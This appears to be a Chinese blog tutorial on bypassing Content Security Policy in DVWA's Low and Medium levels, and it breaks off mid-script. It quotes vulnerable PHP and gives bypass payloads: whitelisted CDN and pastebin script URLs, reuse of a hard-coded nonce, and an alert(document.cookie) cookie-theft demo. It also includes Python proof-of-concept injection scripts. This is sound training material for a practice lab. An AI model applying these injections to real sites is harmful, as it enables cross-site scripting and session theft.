文章目录
- 一、概述
-
- [1、什么是 CSP?](#1、什么是 CSP?)
- [2、什么是 CSP 绕过?](#2、什么是 CSP 绕过?)
- [二、LOW 级别 ------ 白名单过宽](#二、LOW 级别 —— 白名单过宽)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
-
-
- [(1)CSP 策略分析](#(1)CSP 策略分析)
- (2)漏洞分析
-
- 4、操作步骤
-
-
- [(1)观察 CSP 策略](#(1)观察 CSP 策略)
- [(2)使用公开的绕过 Payload](#(2)使用公开的绕过 Payload)
- [(3)使用 unpkg.com 绕过](#(3)使用 unpkg.com 绕过)
- [(4)利用 pastebin.com 托管恶意脚本](#(4)利用 pastebin.com 托管恶意脚本)
-
- 5、Python------PoC脚本
- [6、AI视角下的 CSP 策略评估](#6、AI视角下的 CSP 策略评估)
-
-
- [(1)智能 CSP 策略分析](#(1)智能 CSP 策略分析)
- [(2)AI 辅助的绕过检测](#(2)AI 辅助的绕过检测)
-
- 7、LOW级别------小结
- [三、MEDIUM 级别 ------ unsafe-inline 与硬编码 nonce](#三、MEDIUM 级别 —— unsafe-inline 与硬编码 nonce)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
-
-
- [(1)CSP 策略分析](#(1)CSP 策略分析)
- (2)漏洞分析
-
- 4、操作步骤
-
-
- [(1)观察 CSP 策略](#(1)观察 CSP 策略)
- [(2)直接注入内联脚本(利用 unsafe-inline)](#(2)直接注入内联脚本(利用 unsafe-inline))
- [(3)使用硬编码 nonce 注入](#(3)使用硬编码 nonce 注入)
- (4)注入更复杂的脚本
-
- 5、Python------PoC脚本
- [6、AI视角下的 CSP 策略评估](#6、AI视角下的 CSP 策略评估)
-
-
- [(1)`unsafe-inline` 的风险评估](#(1)
unsafe-inline的风险评估) - [(2)AI 辅助的策略优化](#(2)AI 辅助的策略优化)
- [(1)`unsafe-inline` 的风险评估](#(1)
-
- 7、MEDIUM级别------小结
- [四、HIGH 级别 ------ JSONP 回调利用](#四、HIGH 级别 —— JSONP 回调利用)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
-
-
- [(1)CSP 策略分析](#(1)CSP 策略分析)
- (2)漏洞分析
-
- 4、操作步骤
-
-
- [(1)观察 CSP 策略](#(1)观察 CSP 策略)
- [(2)分析 high.js 的 JSONP 调用](#(2)分析 high.js 的 JSONP 调用)
- [(3)利用 JSONP 回调注入(Burp 拦截改包)](#(3)利用 JSONP 回调注入(Burp 拦截改包))
- [(4)替代路径------用 Burp Repeater 手工构造 POST](#(4)替代路径——用 Burp Repeater 手工构造 POST)
-
- 5、Python------PoC脚本
- [6、AI视角下的 CSP 策略评估](#6、AI视角下的 CSP 策略评估)
-
-
- [(1)JSONP 漏洞的智能检测](#(1)JSONP 漏洞的智能检测)
- [(2)AI 辅助的策略优化](#(2)AI 辅助的策略优化)
- 7、HIGH级别------小结
-
- [五、Impossible 级别 ------ 硬编码回调函数](#五、Impossible 级别 —— 硬编码回调函数)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
-
-
- [(1)CSP 策略分析](#(1)CSP 策略分析)
- (2)安全分析
- [(3)为什么 Impossible 级别是安全的?](#(3)为什么 Impossible 级别是安全的?)
-
- [4、### AI 视角下的安全性验证](### AI 视角下的安全性验证)
-
-
- (1)自动化侦察:收集策略与攻击面
- [(2)自动化注入测试:探针 + 模糊测试](#(2)自动化注入测试:探针 + 模糊测试)
- [(3)自动化判定与 AI 点评](#(3)自动化判定与 AI 点评)
-
- 5、Impossible级别------小结
- [六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比](#六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比)
-
- 1、防护策略演进对比
- 2、攻击面变化分析
- 3、防御策略演进路径
- [4、CSP 安全配置的核心原则](#4、CSP 安全配置的核心原则)
- 七、总结
- 八、AI增强防御建议
- 个人主页 :蒲公英eric
- 专栏传送门 :《DVWA通关全记录:从漏洞复现到安全防御》
- 学习方向:Web安全 / AI安全交叉领域
- 人生格言:安全没有终点,只有不断迭代的防御
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 14 篇文章。
一、概述
1、什么是 CSP?
CSP(Content Security Policy,内容安全策略)是现代浏览器提供的一种声明式安全机制 :服务器通过 Content-Security-Policy HTTP 响应头,明确告诉浏览器"哪些来源的资源可以加载、哪些代码可以执行"。浏览器一旦收到该响应头,就会严格照此执行,任何不在策略允许范围内的资源加载和脚本执行都会被拦截,并在控制台(Console)中记录违规信息。
从防御模型的角度理解,CSP 的本质是把"信任决策权"从页面内容转移到了响应头 :即使攻击者成功把恶意代码注入了页面 HTML,只要这段代码不符合 CSP 白名单或 nonce/hash 要求,浏览器也不会执行它。因此,CSP 是防御 XSS、数据注入等攻击的最后一道纵深防线。
CSP 的核心指令如下表所示:
| 指令 | 作用 | 示例 |
|---|---|---|
script-src |
限制 JavaScript 的来源 | script-src 'self'(仅允许同源脚本) |
style-src |
限制 CSS 的来源 | style-src 'unsafe-inline'(允许内联样式) |
img-src |
限制图片的来源 | img-src *(允许任意来源图片) |
default-src |
所有资源类型的默认策略 | default-src 'none'(禁止所有外部资源) |
connect-src |
限制 AJAX / WebSocket 等连接目标 | connect-src 'self'(仅允许同源请求) |
object-src |
限制 <object> / <embed> 插件来源 |
object-src 'none'(禁用插件,防 Flash 级漏洞) |
2、什么是 CSP 绕过?
CSP 绕过是指攻击者利用 CSP 策略配置中的漏洞或缺陷 ,让本应被拦截的恶意代码得以加载或执行。需要强调的是:绝大多数 CSP 绕过并非浏览器实现出错,而是策略本身写错了 ------比如白名单包含了不可信域名、错误开启 unsafe-inline、nonce 硬编码等。
常见的 CSP 绕过方式如下表所示:
| 绕过方式 | 说明 | 示例 |
|---|---|---|
| 白名单过宽 | CSP 允许了过多的可信域名 | script-src * 或包含用户可上传内容的平台 |
| JSONP 回调利用 | 利用 JSONP 接口执行任意回调 | <script src="https://trusted.com/jsonp?callback=alert"> |
| CDN 漏洞利用 | 利用 CDN 上的已知漏洞文件 | 通过 angular.js 等库的原型链执行任意代码 |
| nonce 重用 | 硬编码或可预测的 nonce 值 | nonce="TmV2ZXIg..." 固定不变 |
unsafe-inline 开启 |
允许内联脚本执行 | 直接注入 <script>alert(1)</script> |
| 重定向绕过 | 利用白名单域名的 302 跳转 | 白名单域名重定向到恶意域名 |
二、LOW 级别 ------ 白名单过宽
1、漏洞描述
LOW 级别的 CSP 策略允许了大量外部域名作为脚本来源,白名单严重过宽。这些域名中不乏允许用户自由上传内容的平台(如 pastebin.com)以及可发布第三方代码包的公共 CDN(如 unpkg.com、cdn.jsdelivr.net)。攻击者只要在这些"可信域名"上托管一段恶意脚本,再让页面把它加载进来,就能绕过 CSP 执行任意代码。
CSP 策略如下:
text
script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja
核心问题梳理如下:
- 首先,白名单包含多个第三方域名,其中一些域名存在公开已知的 CSP 绕过方法;
- 其次 ,策略允许
unpkg.com与cdn.jsdelivr.net等公共 CDN------任何人都可以往上面发布代码包; - 再次,代码作者甚至在注释中"贴心地"给出了两个可直接利用的绕过脚本地址;
- 最后 ,页面的注入点完全不设防:用户输入的
include参数被原样拼进<script src='...'>,没有任何验证或过滤。
2、查看网页源代码
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;"; // allows js from various trusted locations
header($headerCSP);
# These might work if you can't create your own for some reason
# https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
# https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
<p>
You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used.
</p>
';
3、分析网页源代码
(1)CSP 策略分析
逐个审视白名单中的域名,可以整理出以下风险清单:
| 域名 | 说明 | 风险 |
|---|---|---|
'self' |
同源脚本 | 安全 |
https://pastebin.com |
代码托管平台 | ⚠️ 可托管恶意脚本 |
hastebin.com |
代码托管平台 | ⚠️ 可托管恶意脚本 |
www.toptal.com |
开发者社区 | ⚠️ 存在已知利用路径 |
example.com |
保留测试域名 | 无直接风险 |
code.jquery.com |
jQuery 官方 CDN | 相对安全 |
https://ssl.google-analytics.com |
Google 统计 | 相对安全 |
unpkg.com |
公共 npm CDN | ⚠️ 可托管恶意包 |
cdn.jsdelivr.net |
公共 CDN | ⚠️ 可托管恶意包/仓库代码 |
digi.ninja |
作者个人站点 | ⚠️ 存在官方演示脚本 |
说明 :危险域名分为两类------用户生成内容平台 (pastebin、hastebin,用户可粘贴任意文本并拿到 raw 直链)与公共代码分发渠道(unpkg、jsDelivr,用户可发布 npm 包或 GitHub 仓库内容)。只要攻击者在这些平台上发布一段恶意 JS,该域名就会"替攻击者背书"。
(2)漏洞分析
① 漏洞一 ------ 白名单包含可上传内容的域名
问题分析:pastebin.com 和 hastebin.com 允许用户上传任意文本内容,并返回可直链访问的 raw 地址。攻击者粘贴一段 alert(...) 即可获得一个"白名单域名上的恶意脚本 URL"。CSP 的信任链在这里被用户上传行为击穿。
② 漏洞二 ------ CDN 域名允许托管任意包
问题分析:unpkg.com 与 cdn.jsdelivr.net 允许通过 URL 直接访问任意 npm 包或 GitHub 仓库文件。攻击者既可以注册一个包含恶意代码的包/仓库,也可以直接引用他人已发布的演示文件(如本例源码注释中的 @digininja/csp_bypass),即可获得稳定可靠的脚本托管地址。
③ 漏洞三 ------ 用户输入直接作为 script src
问题分析:include 参数被原样拼接 进 <script src='...'>,服务端既不校验 URL 格式,也不检查域名是否在白名单内。虽然浏览器最终会按 CSP 拒绝白名单之外的域名,但"注入点不设防 + 白名单过宽"组合起来,攻击就只剩"选一个白名单域名放 payload"这最后一步了。
4、操作步骤
(1)观察 CSP 策略
- 登录 DVWA,将安全级别设置为 Low;
- 进入 CSP Bypass 模块;
- 按 F12 打开开发者工具,切换到 Network 标签页;
- 刷新页面,点击第一个请求,在 Response Headers 中找到
Content-Security-Policy。
预期结果:可以看到包含 10 个域名的长串 CSP 策略。

(2)使用公开的绕过 Payload
利用源码注释中提示的 Payload,在输入框中输入:
text
https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
点击 Include 提交。
预期结果:页面立即弹窗显示 CSP Bypassed(该脚本内容为 alert("CSP Bypassed");)。
(3)使用 unpkg.com 绕过
在输入框中输入:
text
https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
点击 Include 提交。
预期结果:同样弹窗显示 CSP Bypassed,证明 unpkg 这条 CDN 路径同样可用。
(4)利用 pastebin.com 托管恶意脚本
第一步:访问 pastebin.com,新建一个 Paste,内容为恶意脚本:
javascript
alert('CSP Bypass via Pastebin!');
第二步 :保存后获取该 Paste 的原始内容 URL(形如 https://pastebin.com/raw/xxxxx)。
第三步 :在 DVWA 输入框中输入该 raw URL,点击 Include。
预期结果:弹窗显示 CSP Bypass via Pastebin!,证明"用户上传内容平台"同样可以成为攻击载荷的宿主。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA CSP Bypass ------ LOW 级别 PoC(白名单过宽)
--------------------------------------------------------------------
漏洞原理:
LOW 级别把 pastebin.com、cdn.jsdelivr.net、unpkg.com 等
"允许用户托管任意内容" 的域名加入了 script-src 白名单,
同时页面又把用户输入原样拼进 <script src='...'>。
攻击者只需提交一条"白名单域名上的恶意脚本 URL",
浏览器会因域名可信而放行加载,恶意代码随之执行。
验证方法(三步链式验证):
① 登录 DVWA,通过官方接口把安全等级设为 low;
② 请求漏洞页面,抓取响应头中的 CSP 策略,
并确认 payload 所属域名确实位于白名单内;
③ POST include=<payload>,检查响应 HTML 是否原样回显
<script src='<payload>'></script>。
注入点回显 + 域名在白名单 ⇒ 浏览器必然加载执行 ⇒ 漏洞成立。
使用方法:
python poc_csp_low.py -t http://dvwa.cc [-u admin] [-p password]
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import argparse
import re
import sys
from urllib.parse import urlparse
import requests
# 待测 payload:白名单域名上公开的绕过脚本
PAYLOADS = [
("公开绕过脚本(jsDelivr)",
"https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js"),
("公开绕过脚本(unpkg)",
"https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js"),
]
class DVWASession:
"""DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""
# 兼容 user_token 的单/双引号两种写法
TOKEN_RE = re.compile(
r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I
)
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.http = requests.Session()
self.http.headers.update({"User-Agent": "Mozilla/5.0 (DVWA-CSP-PoC)"})
# ---------------- 内部工具 ----------------
def _get(self, path, **kw):
return self.http.get(self.base_url + path, timeout=10, **kw)
def _post(self, path, data, **kw):
return self.http.post(self.base_url + path, data=data, timeout=10, **kw)
def _fetch_token(self, path):
"""访问指定页面并提取 user_token(DVWA 表单自带的 CSRF 令牌)。
设计为"取不到就返回 None、由调用方决定是否携带",
这样对开启/关闭 CSRF 校验的环境都能自适应。
"""
html = self._get(path).text
m = self.TOKEN_RE.search(html)
return m.group(1) if m else None
def _is_login_page(self, html):
"""通过登录表单特征判断当前页面是否仍是登录页。"""
return bool(re.search(r"name=['\"]username['\"]", html))
# ---------------- 前置步骤 ----------------
def login(self):
"""两步登录:先取登录页 token,再携带 token 提交账号密码。"""
data = {"username": self.username, "password": self.password,
"Login": "Login"}
token = self._fetch_token("/login.php")
if token:
data["user_token"] = token # 令牌存在才携带(自适应处理)
self._post("/login.php", data)
# 以"登录表单是否消失"作为登录成功判据,避免依赖欢迎语措辞
html = self._get("/index.php").text
if self._is_login_page(html):
raise RuntimeError("登录失败:请检查用户名/密码或目标地址")
def set_security(self, level):
"""通过官方 security.php 接口设置安全等级,并用 Cookie 校验结果。
DVWA 接受设置后会向浏览器下发 security=<level> Cookie,
因此这里以 Cookie 的实际取值作为设置是否生效的判据。
"""
data = {"security": level, "seclev_submit": "Submit"}
token = self._fetch_token("/security.php")
if token:
data["user_token"] = token
self._post("/security.php", data)
current = self.http.cookies.get("security")
if current != level:
raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")
def domain_of(url):
"""提取 URL 的主机名,用于判断该域名是否在 CSP 白名单内。"""
return urlparse(url).netloc.lower()
def run(base_url, username, password):
print("[*] 目标地址:", base_url)
print("-" * 60)
# ① 登录并设置安全等级
dvwa = DVWASession(base_url, username, password)
print("[*] 步骤1: 登录 DVWA ...")
dvwa.login()
print("[+] 登录成功")
print("[*] 步骤2: 通过官方接口设置安全等级 low ...")
dvwa.set_security("low")
print("[+] 安全等级已设为 low(Cookie 校验通过)")
print("-" * 60)
# ② 抓取漏洞页 CSP 响应头
print("[*] 步骤3: 获取漏洞页面的 CSP 策略 ...")
csp = dvwa._get("/vulnerabilities/csp/").headers.get(
"Content-Security-Policy", "")
csp = csp.strip()
print("[+] CSP 策略:", csp if csp else "(未检测到 CSP 响应头)")
print("-" * 60)
# ③ 逐条注入 payload 并验证注入点回显
print("[*] 步骤4: 注入外部脚本 URL 并验证注入点 ...")
all_ok = True
for desc, payload in PAYLOADS:
resp = dvwa._post("/vulnerabilities/csp/", {"include": payload})
tag = f"<script src='{payload}'></script>"
if tag in resp.text:
print(f"[+] {desc}: 注入成功 ✅")
print(f" 注入点回显: {tag}")
if domain_of(payload) in csp.lower():
print(f" 域名 {domain_of(payload)} 位于 CSP 白名单 ⇒ 浏览器将放行加载并执行")
else:
print(f" ⚠️ 域名 {domain_of(payload)} 不在当前 CSP 白名单内(需人工复核)")
else:
all_ok = False
print(f"[-] {desc}: 注入失败 ❌(响应中未找到 script 标签回显)")
print("-" * 60)
# ④ 结论
print("[*] 结论:")
if all_ok:
print(" LOW 级别 CSP 白名单过宽,注入点可直接引入白名单域名上的")
print(" 任意脚本,CSP 防线形同虚设 ------ 漏洞存在。")
print(" (浏览器端弹窗效果请在浏览器/Burp 中复核并截图)")
else:
print(" 部分注入未回显,请人工复核目标是否处于 LOW 级别。")
def main():
parser = argparse.ArgumentParser(
description="DVWA CSP Bypass LOW 级别 PoC(仅供授权靶场使用)")
parser.add_argument("-t", "--target", default="http://dvwa.cc",
help="DVWA 根地址(默认 http://dvwa.cc)")
parser.add_argument("-u", "--user", default="admin", help="登录用户名")
parser.add_argument("-p", "--password", default="password", help="登录密码")
args = parser.parse_args()
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("=" * 60)
try:
run(args.target, args.user, args.password)
except requests.RequestException as e:
print(f"[-] 网络请求失败: {e}")
sys.exit(1)
except RuntimeError as e:
print(f"[-] {e}")
sys.exit(1)
if __name__ == "__main__":
main()
脚本说明和运行结果:
脚本说明
(1)总体思路。 本脚本把手工利用过程抽象为一条四步链式验证链 :登录 → 设置安全等级 → 抓取 CSP 策略 → 注入并验证。它并不满足于"payload 提交成功",而是同时核对两个必要条件------注入点回显 (服务端真的把脚本标签写进了页面)与域名在白名单内(浏览器真的会放行该脚本)------两者同时成立才能下"漏洞存在"的结论,避免误报。
(2)功能模块划分。
| 功能模块 | 说明 |
|---|---|
DVWASession 类 |
封装会话管理:登录、安全等级设置、token 自适应提取 |
_fetch_token() |
用正则从任意页面提取 user_token,取不到返回 None(自适应开关 CSRF 的环境) |
login() |
两步登录:先 GET 登录页拿 token,再 POST 账号密码;以"登录表单是否消失"判定成败 |
set_security() |
POST 官方 security.php 接口设级;用 Cookie 中 security 的实际值校验是否生效 |
domain_of() |
从 payload URL 中解析主机名,用于与 CSP 白名单比对 |
主流程 run() |
按四步链执行:登录 → 设级 → 抓 CSP 头 → 逐条注入并双条件验证 |
说明:把"前置环境操作"(登录、设级)与"漏洞验证"(注入、判定)分离,是脚本可维护性的关键------换一个难度等级只需替换 payload 与判定条件,会话层代码完全复用。
(3)逐步逻辑讲解。
- 首先,登录与令牌处理。 DVWA 的登录表单带有
user_token防护。脚本先请求/login.php,用正则TOKEN_RE提取 token;如果页面没有 token(某些配置关闭了 CSRF),就不携带该字段 直接提交------这种"自适应令牌处理"保证了脚本在不同 DVWA 配置下都能工作。登录是否成功不依赖欢迎语措辞,而是检查响应中登录表单(name='username'输入框)是否消失。 - 其次,安全等级设置与校验。 脚本通过官方
/security.php接口提交security=low,然后读取 Cookie 中security的实际取值做二次确认。这一步很重要:如果设级失败,后续所有验证都会做无效功,甚至得出错误结论。 - 再次,CSP 策略抓取与白名单比对。 脚本 GET 漏洞页
/vulnerabilities/csp/,从响应头中取出Content-Security-Policy并打印;随后用domain_of()解析每条 payload 的主机名,检查其是否出现在策略文本中------这一步把"为什么能绕过"的依据(域名可信)显式地摆到输出里。 - 最后,注入与双条件判定。 对每条 payload,脚本 POST
include=<payload>,然后在响应 HTML 中查找精确的回显串<script src='<payload>'></script>。找到回显且域名在白名单内,则判定漏洞成立;任何一条不满足都会打印告警提示人工复核。
(4)验证判定逻辑。 为什么"回显 + 白名单"就足以断定漏洞存在?因为这两点正是浏览器执行恶意脚本的充要链路:服务端回显保证了注入点有效,CSP 白名单保证了加载放行------剩下的事(加载并执行)由浏览器自动完成。requests 库本身不会执行 JS,所以脚本无法直接观察弹窗,这一点已在脚本边界说明中注明,弹窗效果需在浏览器中复核。

6、AI视角下的 CSP 策略评估
(1)智能 CSP 策略分析
LOW 级别的核心问题是白名单包含过多域名。这类问题非常适合用 AI 做自动化评估------策略文本是高度结构化的,机器完全可以替代人工完成"解析 → 打分 → 建议"的闭环:
| 评估维度 | 安全 CSP | LOW 级别 CSP |
|---|---|---|
| 白名单大小 | 尽可能小 | 过大(包含 10 个域名) |
| 域名可信度 | 仅信任必要域名 | 包含用户生成内容平台 |
unsafe-inline |
禁止 | 未设置(相对安全) |
| 整体安全性 | 高 | 低(白名单过宽) |
说明 :LOW 级别虽然没开 unsafe-inline(这一点比 Medium 好),但白名单过宽的破坏力同样致命------一个不可信的白名单域名足以让整条 CSP 失效。
技术实现方案可以拆成三个环节:
- 策略解析:自动解析 CSP 策略头,按指令拆分出允许的域名列表;
- 域名风险评估:对每个域名进行风险评分------是否允许用户生成内容、是否为公共 CDN、是否存在已知绕过历史;
- 建议生成:根据评分结果生成收敛建议,例如"移除 pastebin.com、hastebin.com 等可上传内容的域名"。
(2)AI 辅助的绕过检测
在解析评估之外,AI 还能承担两类检测任务:其一是已知绕过模式匹配 ,把当前策略与公开的 CSP 绕过知识库(如 csp-evaluator 的规则集)比对,识别"这个域名 + 这种指令组合"是否命中已知利用路径;其二是域名信誉分析,利用威胁情报判断白名单中是否存在可被攻击者注册/上传内容的平台,提前预警"白名单中的定时炸弹"。
7、LOW级别------小结
LOW 级别的 CSP 策略白名单过宽,具体表现为:
- 允许了
pastebin.com、hastebin.com等可上传任意内容的平台; - 允许了
unpkg.com、cdn.jsdelivr.net等可发布第三方包的公共 CDN; - 页面注入点不设防,用户输入直接变成
<script src>; - 攻击者只需在上述平台托管恶意脚本,即可借"可信域名"完成绕过。
一句话总结 :> LOW 级别的 CSP 策略看似全面,实际上为攻击者提供了多种现成的绕过途径------白名单里混进了不可信的域名,等于没有白名单。
三、MEDIUM 级别 ------ unsafe-inline 与硬编码 nonce
1、漏洞描述
MEDIUM 级别收窄了白名单,改用 'self' + 'unsafe-inline' + nonce 的组合。但这个组合存在两处致命缺陷 :其一,unsafe-inline 本身就允许页面执行所有内联脚本;其二,nonce 是硬编码常量 ,甚至被作者注释在源码里,攻击者可以直接重放。此外,还有一个经常被搞反的规范细节:按照 CSP 规范,当 unsafe-inline 与 nonce 同时出现 时,现代浏览器会忽略 unsafe-inline、只认 nonce------也就是说,不带 nonce 的裸内联脚本会被拦截,真正让代码执行的恰恰是那个硬编码的 nonce(实测说明见 3.4 节步骤 (2))。
CSP 策略如下:
text
script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
核心问题梳理如下:
- 首先 ,
unsafe-inline允许所有内联脚本执行,这本身就是与 CSP 设计目标背道而驰的配置; - 其次,nonce 值硬编码且被注释在源代码中,任何看到源码的人都能重用它;
- 最后 ,页面的
include参数被原样插入页面,攻击者注入什么,页面就渲染什么。
2、查看网页源代码
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
3、分析网页源代码
(1)CSP 策略分析
把策略拆成三个组成部分逐项评估:
| 组成部分 | 说明 | 风险 |
|---|---|---|
'self' |
允许同源脚本 | 安全 |
'unsafe-inline' |
允许所有内联脚本 | 🔴 极高风险 |
nonce-... |
一次性令牌 | ⚠️ 硬编码(防护无效) |
说明 :nonce 机制的设计初衷是"每次请求随机生成、只允许带正确 nonce 的内联脚本执行",本应是最强的内联防护手段;但一旦硬编码,它就从"每请求一变的门票"退化成"印在门票背面的伪钞模板"。
(2)漏洞分析
① 漏洞一 ------ unsafe-inline 完全破坏了 CSP 保护
问题分析:'unsafe-inline' 的本意是放行所有内联脚本,这使得 CSP 对注入型攻击的防御形同虚设 ------在不含 nonce/hash 的策略里,攻击者注入 <script>alert(1)</script> 即可执行,不需要任何技巧。但要注意一个规范细节:当策略中同时存在 nonce- 源时,CSP2+ 浏览器会忽略 'unsafe-inline',只放行带正确 nonce 的内联脚本。DVWA Medium 的策略恰好两者都有,因此在现代浏览器上"裸内联"反而会被拦截(实测见 3.4 节步骤 (2)),真正可利用的执行路径是漏洞二的 nonce 重放。
② 漏洞二 ------ nonce 值硬编码在源代码中
问题分析:nonce 值 TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=(Base64 解码恰是 "Never going to give you up",一个玩笑)被硬编码在 CSP 策略中,并且被注释在 HTML 源码里。攻击者阅读源码即可拿到这个"一次性"令牌并反复重放,nonce 的时效性与随机性完全丧失。
③ 漏洞三 ------ 用户输入直接插入页面
问题分析:include 参数被原样插入页面且无任何过滤,攻击者既可以注入裸的内联脚本 (配合 unsafe-inline),也可以注入带 nonce 的内联脚本(重用硬编码 nonce),两条攻击路径同时畅通。
4、操作步骤
(1)观察 CSP 策略
- 将安全级别设置为 Medium;
- 进入 CSP Bypass 模块;
- 按 F12 查看 Network 标签页中主页面的响应头。
预期结果:可以看到包含 unsafe-inline 和硬编码 nonce 的 CSP 策略。

(2)直接注入内联脚本(利用 unsafe-inline)
在输入框中输入:
html
<script>alert('XSS')</script>
点击 Include。
预期结果:在旧版浏览器上弹窗显示 XSS;但在现代浏览器(Chrome / Edge / Firefox 新版本)上大概率没有弹窗------这不是实验失败 。按 F12 切到 Console 标签页,可以看到一条 Refused to execute inline script 的 CSP 违规记录。
⚠️ 为什么没有弹窗? CSP2 规范规定:只要
script-src中出现了nonce-xxx或哈希源,浏览器就会忽略'unsafe-inline'(这是为兼容旧站点设计的"宁严勿松"规则)。DVWA Medium 的策略同时含有unsafe-inline和nonce-...,因此现代浏览器的实际执行规则是:不带 nonce 的裸内联脚本 → 拦截;带硬编码 nonce 的内联脚本 → 放行。所以裸内联注入只实现了"页面回显",真正可靠的代码执行路径是步骤 (3) 的 nonce 重用。
(3)使用硬编码 nonce 注入
在输入框中输入:
html
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('Nonce Bypass')</script>
点击 Include。
预期结果:弹窗显示 Nonce Bypass,证明硬编码 nonce 可以被攻击者直接重用------由于 nonce 来源于 CSP 策略本身,这条路径在所有浏览器上都能稳定执行,是 Medium 级别最可靠的绕过方式。
(4)注入更复杂的脚本
在输入框中输入:
html
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(document.cookie)</script>
预期结果:弹窗显示当前页面的 Cookie。这一步演示了从"验证漏洞"到"真实危害"(窃取会话凭证)的距离只有一行代码。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA CSP Bypass ------ MEDIUM 级别 PoC(unsafe-inline 与硬编码 nonce)
--------------------------------------------------------------------
漏洞原理:
MEDIUM 级别 CSP 策略为:
script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIg...'
存在两处致命缺陷:
① 'unsafe-inline' 本意是放行所有内联脚本------在不含 nonce 的
策略里,<script>alert(1)</script> 即可生效;
② nonce 是硬编码常量(甚至被注释在源码里),攻击者可以重放。
⚠️ 规范细节:当策略同时含 unsafe-inline 与 nonce 时,
CSP2+ 浏览器会忽略 unsafe-inline、只认 nonce------因此
裸内联 payload 在现代浏览器上会被拦截,硬编码 nonce
重放才是可靠的执行路径。
验证方法(两 payload 对照验证):
① 登录 DVWA,通过官方接口把安全等级设为 medium;
② 读取漏洞页 CSP 响应头,确认 unsafe-inline 存在,
并从策略中自适应提取 nonce(不写死在脚本里);
③ 依次注入两个 payload 并检查页面回显:
payload A:<script>alert('XSS')</script>
------ 验证注入点回显(现代浏览器可能拦截其执行);
payload B:<script nonce='<提取到的nonce>'>alert('Nonce Bypass')</script>
------ 验证硬编码 nonce 可被重用(全浏览器可靠的执行路径)。
回显成功 ⇒ 浏览器端必然执行 ⇒ 漏洞成立。
使用方法:
python poc_csp_medium.py -t http://dvwa.cc [-u admin] [-p password]
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import argparse
import re
import sys
import requests
# 对照 payload B 的兜底 nonce:源码注释中公开的硬编码值
FALLBACK_NONCE = "TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="
class DVWASession:
"""DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""
TOKEN_RE = re.compile(
r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I
)
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.http = requests.Session()
self.http.headers.update({"User-Agent": "Mozilla/5.0 (DVWA-CSP-PoC)"})
# ---------------- 内部工具 ----------------
def _get(self, path, **kw):
return self.http.get(self.base_url + path, timeout=10, **kw)
def _post(self, path, data, **kw):
return self.http.post(self.base_url + path, data=data, timeout=10, **kw)
def _fetch_token(self, path):
"""访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
html = self._get(path).text
m = self.TOKEN_RE.search(html)
return m.group(1) if m else None
def _is_login_page(self, html):
return bool(re.search(r"name=['\"]username['\"]", html))
# ---------------- 前置步骤 ----------------
def login(self):
"""两步登录:先取登录页 token,再携带 token 提交账号密码。"""
data = {"username": self.username, "password": self.password,
"Login": "Login"}
token = self._fetch_token("/login.php")
if token:
data["user_token"] = token
self._post("/login.php", data)
